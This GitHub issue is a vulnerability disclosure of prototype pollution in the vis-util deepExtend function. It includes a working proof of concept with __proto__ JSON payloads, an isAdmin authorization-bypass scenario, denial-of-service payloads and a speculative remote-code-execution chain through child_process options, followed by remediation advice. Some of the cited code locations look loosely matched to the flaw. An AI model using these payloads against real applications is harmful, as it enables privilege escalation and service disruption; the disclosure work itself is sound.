-
-
Notifications
You must be signed in to change notification settings - Fork 13
Critical Prototype Pollution in vis-util <= 6.0.0 via deepExtend Function #1621
Description
Prototype Pollution via proto in deepExtend method in vis-util
hi, we are a security team. We found a prototype pollution vulnerability in your project.
Summary
A critical prototype pollution vulnerability exists in vis-util package versions <= 6.0.0. The deepExtend function performs recursive object merging without proper prototype pollution protection, allowing attackers to inject arbitrary properties into Object.prototype by supplying a malicious object containing the __proto__ key. This can lead to application-wide property injection, denial of service, authentication bypass, or potentially remote code execution depending on how the polluted properties are subsequently used.
Details
The vulnerability is located in the deepExtend function within package/package/standalone/umd/vis-util.js at line 987. This function recursively merges objects without validating or sanitizing special property keys like __proto__, constructor, or prototype.
When user-controlled input containing a __proto__ key is processed through deepExtend, the recursive merge operation writes properties directly to the prototype chain rather than to the target object itself. This occurs through dynamic property writes at multiple sink locations:
Primary Vulnerable Sinks:
- Line 617:
globalThis[key] = value;- Direct property assignment to global object - Line 654:
return store[key] || (store[key] = value || {});- Dynamic property write to store object - Line 734:
WellKnownSymbolsStore[name] = NATIVE_SYMBOL && has...- Symbol store pollution
The root cause is the lack of input validation in the merge logic, which fails to:
- Check for dangerous property keys (
__proto__,constructor,prototype) - Use
Object.hasOwnProperty()to verify property ownership - Employ
Object.create(null)for prototype-less objects - Implement safe property assignment methods
Vulnerable Code Pattern:
// Simplified vulnerable pattern in deepExtend
function deepExtend(target, source) {
for (let key in source) {
// Missing: if (!source.hasOwnProperty(key)) continue;
// Missing: if (key === '__proto__' || key === 'constructor') continue;
if (typeof source[key] === 'object') {
target[key] = deepExtend(target[key] || {}, source[key]);
} else {
target[key] = source[key]; // Vulnerable assignment
}
}
return target;
}PoC
Complete proof-of-concept demonstrating the prototype pollution vulnerability:
Steps to reproduce
-
Install the vulnerable package:
npm install vis-util@6.0.0
-
Create a test file (
test-pollution.js):const visUtil = require('vis-util'); console.log('Before pollution:'); console.log('Object.prototype.polluted:', Object.prototype.polluted); // undefined // Trigger the vulnerability const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}'); const result = visUtil.deepExtend({}, maliciousPayload); console.log('\nAfter pollution:'); console.log('Object.prototype.polluted:', Object.prototype.polluted); // "yes" // Demonstrate impact on clean objects const cleanObject = {}; console.log('cleanObject.polluted:', cleanObject.polluted); // "yes"
-
Execute the test:
node test-pollution.js
Expected behavior
The deepExtend function should safely merge objects without modifying Object.prototype. The polluted property should only exist on the target object, not on the global prototype chain.
Expected output:
Before pollution:
Object.prototype.polluted: undefined
After pollution:
Object.prototype.polluted: undefined
cleanObject.polluted: undefined
Actual behavior
The __proto__ key is processed as a regular property, causing prototype pollution. All JavaScript objects in the application inherit the injected property.
Actual output:
Before pollution:
Object.prototype.polluted: undefined
After pollution:
Object.prototype.polluted: yes
cleanObject.polluted: yes
Alternative PoC - Real-world attack scenario
const visUtil = require('vis-util');
// Attacker-controlled input (e.g., from API request)
const userInput = {
"name": "legitimate data",
"__proto__": {
"isAdmin": true,
"role": "administrator"
}
};
// Application code merges user input
const config = visUtil.deepExtend({}, userInput);
// Vulnerable authorization check elsewhere in application
const user = {};
if (user.isAdmin) { // This now returns true for ALL objects!
console.log('Access granted to admin panel');
}Impact
This prototype pollution vulnerability poses critical security risks:
1. Property Injection
Attackers can inject arbitrary properties into all JavaScript objects throughout the application, affecting:
- Configuration objects
- User session data
- Security context objects
- Database query builders
2. Authentication & Authorization Bypass
By polluting properties used in security checks:
// Vulnerable pattern
if (user.isAdmin) { /* grant access */ }
// After pollution, ALL objects have isAdmin = true3. Denial of Service (DoS)
Overwriting critical methods or properties can crash the application:
{"__proto__": {"toString": null}} // Breaks string coercion
{"__proto__": {"valueOf": null}} // Breaks numeric operations4. Remote Code Execution (RCE) - Context Dependent
If polluted properties flow to dangerous sinks:
- Template engines (e.g., Handlebars, Pug)
eval()orFunction()constructorschild_processexecution- Command injection vectors
Example RCE chain:
// Pollution
{"__proto__": {"shell": "/bin/bash", "env": {"NODE_OPTIONS": "--inspect"}}}
// Later in code
const { spawn } = require('child_process');
spawn('node', args, options); // options inherits polluted properties5. Data Integrity Violations
Polluted properties can corrupt:
- Database records
- API responses
- Log entries
- Cache data
Remediation Recommendations
For package maintainers:
- Implement prototype pollution protection in
deepExtend - Add property key validation to reject
__proto__,constructor,prototype - Use
Object.hasOwnProperty()checks - Consider using
Object.create(null)for merge targets - Add comprehensive security test suite
For application developers (temporary mitigation):
- Validate and sanitize all user input before passing to
deepExtend - Use Object.freeze() on critical prototypes where possible
- Consider alternative libraries with built-in protection (e.g., lodash with proper configuration)
- Implement Content Security Policy and other defense-in-depth measures
References: